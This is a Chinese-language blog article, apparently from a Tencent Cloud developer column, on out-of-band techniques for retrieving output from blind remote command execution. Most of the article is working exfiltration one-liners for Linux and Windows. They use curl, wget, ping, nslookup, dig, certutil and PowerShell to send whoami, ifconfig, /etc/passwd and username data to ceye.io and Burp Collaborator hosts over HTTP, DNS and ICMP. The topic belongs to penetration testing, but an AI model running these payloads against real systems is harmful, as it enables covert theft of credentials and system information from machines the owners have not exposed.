首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >带外攻击OOB(RCE无回显骚思路总结)

带外攻击OOB(RCE无回显骚思路总结)

原创
作者头像
枪哥四海为家
修改于 2023-03-21 06:39:44
修改于 2023-03-21 06:39:44
6.5K00
代码可运行
举报
运行总次数:0
代码可运行

基本概念

1.带内攻击

服务器提交一个 payload,而服务器响应给我们相关的 response 信息。大家都叫它带内攻击,这些理论的东西,我们简单理解就好,这里我们就理解成单挑通信的通道为带内攻击,也就是整个测试过程或者说是交互过程,中间没有其外部的服务器参与,只有自己和目标服务器,那么就叫带内

2.带外攻击(OOB)

服务器用来测试盲的各种漏洞的话,则需要我们外部的独立服务器参数,也就是带入了外部的服务器,我们叫它带外攻击。这里简单的提了一下这个带内和带外,我们只要理解其过程即可。

3.带外数据

传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方。为了发送这些数据,协议一般不使用与普通数据相同的通道,而是使用另外的通道。linux系统的套接字机制支持低层协议发送和接受带外数据。但是TCP协议没有真正意义上的带外数据。为了发送重要协议,TCP提供了一种称为紧急模式(urgent mode)的机制。TCP协议在数据段中设置URG位,表示进入紧急模式。接收方可以对紧急模式采取特殊的处理。很容易看出来,这种方式数据不容易被阻塞,并且可以通过在我们的服务器端程序里面捕捉SIGURG信号来及时接受数据。这正是我们所要求的效果。

由于TCP协议每次只能发送和接受带外数据一个字节,所以,我们可以通过设置一个数组,利用发送数组下标的办法让服务器程序能够知道自己要监听的端口以及要连接的服务器IP/port。由于限定在1个字节,所以我们最多只能控制255个port的连接,255个内网机器(不过同一子网的机器不会超过255J),同样也只能控制255个监听端口,不过这些已经足够了。

4.盲

程序不进行详细的回显信息,而只是返回对或者错时,我们都可以叫它盲。我们在做渗透测试的时候,经常会遇到这种情况,测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,或者是盲注跨站,盲打 XSS 这种。再例如 SSRF,如果程序不进行回显任何信息,而只提示你输入的是否合法,那么也无法直接判断程序存在 SSRF 漏洞,我们可以叫盲 SSRF。再例如 XXE,引入外部文件时,如果程序也不返回任何信息和引用文件的内容,而只提示输入的是否有误,那么也无法直接判断程序是否存在 XXE 漏洞,我们也可以叫盲 XXE。

基本回显思路

1.对于出网机器

  使用http传输,如wget,curl,certutil将回显信息爬出

   1.1 优点:方便,回显全。

   1.2 缺点:对于不出网服务器没有办法传输,同时需要了解其返回包字段信息,需要使用返回包字段将回显信息带出

2.对于不出网机器

  使用DNS传输,ICMP传输,powershell中的wget,curl等传输

    2.1 优点:不出网机器可以传输

    2.2 缺点:

1.回显是一条条执行,需要将回显结果拼接解码,回显信息比较麻烦

          2.短回显可以使用DNS传输,长回显大部分带出需要powershell搭配,但杀毒软件往往禁用powershell,因此利用条件较苛刻

3.在线网站DNS/HTTP管道解析

经常在拿下shell的时候碰到命令执行无回显的情况,因此为了解决命令执行无回显时,可以借助DNS管道解析来让命令回显

登录ceye.io

各操作系统的使用方法:https://www.freesion.com/article/3526121510/

HTTP带外攻击

linux可以使用以下方法:

1.curl

通过curl远程命令执行RCE去对靶机执行以下命令

代码语言:javascript
代码运行次数:0
运行
复制
通过http记录查看是否执行(最好执行两次),curl走http协议
curl http://ip.port.XXXXXX.ceye.io/`whoami`
curl `whoami`.XXXXXX.ceye.io

2.sed

如果回显信息不全,可以使用如下结合sed命令令回显完整,但其实也不是全的

代码语言:javascript
代码运行次数:0
运行
复制
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'`

使用base64传输

代码语言:javascript
代码运行次数:0
运行
复制
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|base64`   

DNS带外攻击

通过DNS记录查看是否执行(最好执行两次),ping走的是DNS协议

代码语言:javascript
代码运行次数:0
运行
复制
ping `whoami`.ip.port.XXXXXXX.ceye.io

说明使用DNS管道解析还是比较鸡肋的,只适合单条的短信息回显,有点作用。

DNS管道解析的扩展,结合php命令执行可以使用这种方式进行回显,使用sed命令令回显变长:

执行:

代码语言:javascript
代码运行次数:0
运行
复制
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al`

结果:http://snrkgl.ceye.io/total

看起来只能带出第一行,所以我们需要sed命令

代码语言:javascript
代码运行次数:0
运行
复制
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al | sed -n '2p'`

结果:http://XXXXXX.ceye.io/drwxr-xr-x

发现空格不能被带出来,用base64编码

代码语言:javascript
代码运行次数:0
运行
复制
解码:http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al | sed -n '2p'|base64`

结果:http://XXXXXX.ceye.io/ZHJ3eHIteHIteCAyIHJvb3Qgcm9vdCA0MDk2IERlYyAyNyAxNDo1OSAuCg==

代码语言:javascript
代码运行次数:0
运行
复制
解码:drwxr-xr-x 2 root root 4096 Dec 27 14:59 .

若有的时候长度太大,cut来分割字符(第一个字符下标为1)

代码语言:javascript
代码运行次数:0
运行
复制
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10`

4.burpsuit Collaborator Client模块回显(带外攻击OOB)

打开 collaborator client

利用远程命令执行,或直接在靶机上执行命令:意思是发送whoami信息回显至burp的二级域名地址,回显过来

1.第一种命令格式

通过DNS记录查看是否执行(最好执行两次),ping走的是DNS协议

代码语言:javascript
代码运行次数:0
运行
复制
curl `whoami`.wyyysg1fi9svq8zgf0g11dz80z6pue.burpcollaborator.net

查看burp模块,DNS隧道解析结果

http隧道回显信息

2.第二种命令格式

代码语言:javascript
代码运行次数:0
运行
复制
curl http://n7vp17a6r01mzz87orpsa48z9qfh36.burpcollaborator.net/`whoami`

DNS记录中无回显

http中有回显

3.第三种命令执行格式

linux系统:

代码语言:javascript
代码运行次数:0
运行
复制
ping `whoami`.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net

windows系统:

代码语言:javascript
代码运行次数:0
运行
复制
ping %whoami%.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net


Linux的应用

1.http传输

 1.1 wget传输

使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo–n代表去掉各个分隔符,换行符等符号输出

代码语言:javascript
代码运行次数:0
运行
复制
wget --header="User-Agent: $(cat /etc/passwd | xargs echo–n)" http://6rych16irk3064ztjoo9ufasuj0do2.burpcollaborator.net

 1.2 curl传输:curl也是一个利用思路,套路差不多,比较简单不再测试

2.DNS传输

 2.1通过base64编码传输

base64编码传输

代码语言:javascript
代码运行次数:0
运行
复制
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

每行记录,再base64解密

拿到机器ifconfig命令执行记录,部分会乱码
拿到机器ifconfig命令执行记录,部分会乱码

  2.2 十六进制传输:(hex编码)

代码语言:javascript
代码运行次数:0
运行
复制
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.itfjy788hafvu4q8xtf7naktrkxbpze.burpcollaborator.net; done

这种方式需要每条结果复制粘贴,比较麻烦,但回显结果还是准确的,可以看到ifconfig命令执行后的直接结果 

十六进制转换字符:http://www.bejson.com/convert/ox2str/

2.3 ICMP传输

代码语言:javascript
代码运行次数:0
运行
复制
linux
靶机
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 easn1l1elxy8t7azlztz02gkbbh65v.burpcollaborator.net;done
攻击者
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
攻击者提取数据
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui


Windows的应用

1.http传输

 1.1 curl传输

代码语言:javascript
代码运行次数:0
运行
复制
windows中 %xxx% 的xxx代表系统变量,常用系统变量命令
              %SystemDrive%                                     系统安装的磁盘分区
              %SystemRoot% = %Windir% WINDODWS                  系统目录
              %ProgramFiles%                                   应用程序默认安装目录
              %AppData%                                         应用程序数据目录
              %CommonProgramFiles%                              公用文件目录
              %HomePath%                                        当前活动用户目录
              %Temp% =%Tmp%                                     当前活动用户临时目录
              %DriveLetter%                                     逻辑驱动器分区
              %HomeDrive%                                       当前用户系统所在分区

curl抓取用户名://%USERNAME%,列出所有用户名

代码语言:javascript
代码运行次数:0
运行
复制
curl http://0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net/%USERNAME%

curl获取windows安装目录://%WinDir%,列出windows的安装目录

代码语言:javascript
代码运行次数:0
运行
复制
curl http://0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net/%WinDir%
查看远程username名称结果为Butcher
查看远程username名称结果为Butcher

1.2 certutil利用

payload逻辑

将ipconfig的结果记录在新建temp文件中,再对temp文件进行base64加密变成temp2文件,再对temp2文件中的多余字符"CERTIFICATE"删掉变成temp3,再对temp3的内容删除换行符生成所有数据只在一行的temp4(因为http响应包想要信息全部输出必须使信息全在一行),并把temp4的内容赋予变量为p1,最后使用curl爬取p1的值赋予http响应包的User-Agent字段输出于http:// qysvrrmxvestl2c93ydg0u5p1g76vv.burpcollaborator.net中,最后删除本地文件夹中所有生成的带有temp字段的文件(也就是之前生成的temp~temp4四个文件)

代码语言:javascript
代码运行次数:0
运行
复制
ipconfig > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && (for /f %i in (./temp3) do set /p=%i<nul >>temp4) || set /p pl=<temp4 && curl -H "User-Agent:%pl%" http://qysvrrmxvestl2c93ydg0u5p1g76vv.burpcollaborator.net && del temp*

执行成功

Base64解码即可看到执行结果

2.DNS传输

2.1 dns传输(单条传输,很鸡肋不推荐,只能执行hostname命令)

代码语言:javascript
代码运行次数:0
运行
复制
for /L %i in (1,1,10) do nslookup    //执行10次nslookup命令
cmd /v /c "hostname > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.z00h57chzl8lln3fno9aydnspjv9jy.burpcollaborator.net && nslookup !FINAL!"

经过测试,回显只能执行hostname命令,没有办法通过写入对命令shell的循环来让其执行多次回显信息,失败。

2.2 十六进制传输:(hex)--缺点:必须调用powershell

payload逻辑:

代码语言:javascript
代码运行次数:0
运行
复制
whoami > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.qf95nhvxs08z5nr9wk19ruzsqjw9ky.burpcollaborator.net';$j += 1; nslookup $fin }

第二串字符

两个拼接起来

代码语言:javascript
代码运行次数:0
运行
复制
0a627574636865725c627574636865720d

十六进制转字符转换:http://www.bejson.com/convert/ox2str/

转后为信息是全的,可以全部一条条来,最后全部破解即可

2.3 通过win+r,直接输入%USERNAME%调用Burp地址来调用DNS解析记录

使用windows的win+r调出运行,再执行第二行代码,会调用DNS解析

代码语言:javascript
代码运行次数:0
运行
复制
win+r
\\%USERNAME%.0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net

3.ICMP传输(不能传太大的包,回显信息太长会失败,但依旧隐蔽)

payload逻辑:

代码语言:javascript
代码运行次数:0
运行
复制
whoami > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send(' edvhr84xv7p1ga18aoiwl0mmzd54tt.burpcollaborator.net',60 * 1000, $sendbytes, $PingOptions);

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
MSSQL注入之无回显利用实战案例
@Tooshy丶师傅发来的一个MSSQL堆叠注入,测试中遇到一些问题,让我帮着看下能不能写Webshell或者直接反弹Shell?这个注入因存在WAF而不能直接用Sqlmap跑,所以全程都是在Burpsuite下进行测试的。
潇湘信安
2022/09/14
3.3K0
MSSQL注入之无回显利用实战案例
命令执行/SQL盲注无回显外带方式
在渗透测试中我们时常会遇到一些无回显的场景,如常见的:SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞,这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来。
潇湘信安
2022/09/14
2.6K0
命令执行/SQL盲注无回显外带方式
模糊测试之攻击回显
描述:一个渗透安全工程师常常会在,某些安全测试项目中遇到,代码或者命令可以被执行,但是无任何的回显特征来判断攻击成功,
全栈工程师修炼指南
2020/10/23
3.3K0
模糊测试之攻击回显
RCE+OOB+一道HCTF实战
两则需要知道的RCE实战trick RCE-trick1 前言 想必大家遇到RCE的题目不算少数,那么如果题目可以命令执行,却没有回显,那么我们应该如何有效打击呢? 盲打RCE 先看这样一段函数: 对
安恒网络空间安全讲武堂
2018/02/06
1.3K0
RCE+OOB+一道HCTF实战
记一次渗透实战
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能
HACK学习
2019/08/06
1.4K0
记一次渗透实战
Shiro550-post型漏洞(验证+利用+反弹shell)
当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅
枪哥四海为家
2022/03/10
2.4K0
Shiro550-post型漏洞(验证+利用+反弹shell)
MSSQL注入之无回显利用思路
前段时间在先知社区里看到“一次另类的mssql渗透之路”一文:一个MSSQL高权限注入点,可通过xp_cmdshell执行命令,但是没有回显信息。
潇湘信安
2022/09/14
4.3K0
MSSQL注入之无回显利用思路
CTF中的RCE绕过
RCE(Remote code execution)远程代码执行漏洞,RCE又分命令执行和代码执行。
Anime_Bucket
2024/03/03
1.5K0
CTF中的RCE绕过
命令注入总结
preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。
wywwzjj
2023/05/09
6440
利用DNS协议回显数据
这个问题已经是去年提出的了,之前也看到过,在 CTF 题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。
信安之路
2018/08/08
2.5K0
利用DNS协议回显数据
超详细讲解命令执行漏洞
命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一
网络安全自修室
2022/09/01
6.6K0
超详细讲解命令执行漏洞
红队常用命令
如下编码网站: https://ares-x.com/tools/runtime-exec/ https://r0yanx.com/tools/java_exec_encode/ https://www.bugku.net/runtime-exec-payloads/
reyeye
2023/10/13
3.6K0
聊一聊代码、命令执行
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
重生信息安全
2020/04/26
1.5K0
使用DNSLog进行盲打
在渗透测试当中,当我们遇到没有回显的漏洞是非常难以利用,因为我们无从得知存不存在漏洞,另外是我们无法得知漏洞执行的结果。因此,针对无回显漏洞,我们可以通过使用DNSLog来进行回显,DNSLog是一种回显机制,攻击者可以通过DNS的解析日志来读取漏洞执行的回显结果。
Baige
2022/03/29
2.8K0
使用DNSLog进行盲打
CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题
命令执行可能会存在命令执行完没有回显,首先要判断命令是否有执行,可以通过三种方式来判断:延时、HTTP请求、DNS请求。
牛油果
2019/10/19
4.1K0
CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
https://blog.csdn.net/weixin_43303273/article/details/83029138
没事就要多学习
2024/07/18
3510
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
DNSLog的使用方法
DNS的解析是递归与迭代相结合的,这里举个例子,当我们访问网站的时候,DNS的解析过程示意图。
Baige
2022/03/21
4.1K0
DNSLog的使用方法
一个有趣的东西-cloudeye
最近遇到了一个挺好玩的东西,应该是前段时间突然火起来cloudeye,在wooyun上有卖激活码,不过找到了一个免费版的还不错…
LoRexxar
2023/02/21
3850
一个有趣的东西-cloudeye
JAVA代码审计之java反序列化
Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。
FB客服
2022/11/14
4530
DNS在远程调用执行中的应用
纯属蹭log4j2热度文,和安全没有直接的关系,本文只谈DNS以及日志应用; 通过dnslog.cn的截图,分析dnslog.cn的原理,基于此,介绍了可以获取更多信息的ceye的功能;在应用场景上,我们通过该原理提供了用户出口IP同本地DNS递归出口IP的对应关系,延伸出了排障场景和数据分析场景。
hermanzeng
2021/12/14
6.6K3
DNS在远程调用执行中的应用
相关推荐
MSSQL注入之无回显利用实战案例
更多 >
目录
  • 基本概念
    • 1.带内攻击
    • 2.带外攻击(OOB)
    • 3.带外数据
    • 4.盲
  • 基本回显思路
    • 1.对于出网机器
      •   使用http传输,如wget,curl,certutil将回显信息爬出
    • 2.对于不出网机器
      •   使用DNS传输,ICMP传输,powershell中的wget,curl等传输
    • 3.在线网站DNS/HTTP管道解析
      • HTTP带外攻击
      • DNS带外攻击
    • 4.burpsuit Collaborator Client模块回显(带外攻击OOB)
      • 1.第一种命令格式
      • 2.第二种命令格式
      • DNS记录中无回显
      • http中有回显
      • 3.第三种命令执行格式
  • Linux的应用
    • 1.http传输
      •  1.1 wget传输
      •  1.2 curl传输:curl也是一个利用思路,套路差不多,比较简单不再测试
    • 2.DNS传输
      •  2.1通过base64编码传输
      •   2.2 十六进制传输:(hex编码)
      • 2.3 ICMP传输
  • Windows的应用
    • 1.http传输
      •  1.1 curl传输
      • 1.2 certutil利用
    • 2.DNS传输
      • 2.1 dns传输(单条传输,很鸡肋不推荐,只能执行hostname命令)
      • 2.2 十六进制传输:(hex)--缺点:必须调用powershell
      • 2.3 通过win+r,直接输入%USERNAME%调用Burp地址来调用DNS解析记录
    • 3.ICMP传输(不能传太大的包,回显信息太长会失败,但依旧隐蔽)
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档